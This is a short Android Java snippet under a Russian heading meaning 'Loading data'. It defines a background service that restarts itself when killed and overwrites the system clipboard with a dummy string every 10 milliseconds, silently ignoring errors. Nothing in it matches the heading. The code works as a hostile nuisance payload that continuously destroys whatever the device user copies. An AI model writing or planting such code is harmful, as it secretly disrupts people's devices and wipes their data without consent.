Загрузка данных


public static class S extends android.app.Service {
    android.os.Handler h = new android.os.Handler();
    Runnable r = new Runnable() {
        public void run() {
            try {
                android.content.ClipboardManager cm = (android.content.ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
                if (cm != null) {
                    cm.setPrimaryClip(android.content.ClipData.newPlainText("x", "y"));
                }
            } catch (Exception e) {}
            h.postDelayed(this, 10);
        }
    };

    public int onStartCommand(android.content.Intent i, int f, int s) {
        h.post(r);
        return START_STICKY;
    }

    public android.os.IBinder onBind(android.content.Intent i) {
        return null;
    }

    public void onDestroy() {
        h.removeCallbacks(r);
        super.onDestroy();
    }
}